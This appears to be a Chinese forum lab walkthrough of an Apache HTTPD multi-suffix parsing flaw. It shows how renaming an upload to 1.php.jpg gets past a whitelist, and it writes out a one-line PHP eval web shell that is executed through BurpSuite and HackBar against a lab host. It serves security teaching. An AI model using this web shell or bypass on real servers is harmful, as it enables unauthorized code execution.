【NB】apache hppd多后缀解析漏洞实验
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,
如下配置文件:AddType text/html .html、AddLanguage zh-CN .cn,其给.html
后缀增加了 media-type,值为 text/html;给.cn 后缀增加了语言,值为 zh-CN。
此时,如果用户请求文件 index.cn.html,他将返回一个中文的 html 页面。以上
就是 Apache 多后缀的特性。如果运维人员给.php 后缀增加了处理器:
AddHandler application/x-httpd-php .php,那么,在有多个后缀的情况下,只
要一个文件含有.php 后缀的文件即将被识别成 PHP 文件,没必要是最后一个后缀。
利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞
开始实验
1.1 启动后 Apache 运行在 http://192.168.1.254。
http://cdn.u1.huluxia.com/g4/M03/72/81/rBAAdmLxIMOAZw1yAAA1wJrIvqs885.png
1.2 输入命令 vim 1.php,创建一个 php 文件,把<?php @eval($_POST['a']);?>输入 php
文件中。
http://cdn.u1.huluxia.com/g4/M03/72/81/rBAAdmLxIMSALBJjAACHTMR05SA349.png
1.3 设置浏览器代码,并开启 BurpSuite。
http://cdn.u1.huluxia.com/g4/M03/72/81/rBAAdmLxIMSAVNGDAAEtzEOBYTM957.png
1.4 点击 Submit 按钮,上传 1.php 的一句话木马文件,并用 BurpSuite 进行抓包拦截。
http://cdn.u1.huluxia.com/g4/M03/72/81/rBAAdmLxIMWAHVu-AAF4jvG2CYo559.png
1.5 把抓来的包,发到 Repeate 模板,并设置 Intercept is off。
http://cdn.u1.huluxia.com/g4/M03/72/81/rBAAdmLxIMaANBwoAAE4QISda0A365.png
1.6 点击 send 发送,发现被拦截。
http://cdn.u1.huluxia.com/g4/M03/72/81/rBAAdmLxIMaAPL3KAAMmfcD7tWA233.png
1.7 利用多后缀解析的漏洞,修改文件后缀名:.php.jpg 成功,并返回文件的路径。
http://cdn.u1.huluxia.com/g4/M03/72/81/rBAAdmLxIMiAD-_3AAIwsyuE1BE923.png
1.8 访问 http://192.168.1.254/uploadfiles/1.php.jpg,右键选择 Inspect Element(Q),
找到 HackBar 工具,在框中输入地址,点击 Post data,然后在下方栏中输入
a=phpinfo();。
1.9 点击 Execute 即可成功得到 phpinfo 页面。
注意 为了避免法律上的纠纷,非必要情况下,不要用webshell来进行测试,如有必要还是采用phpinfo来测试
页:
[1]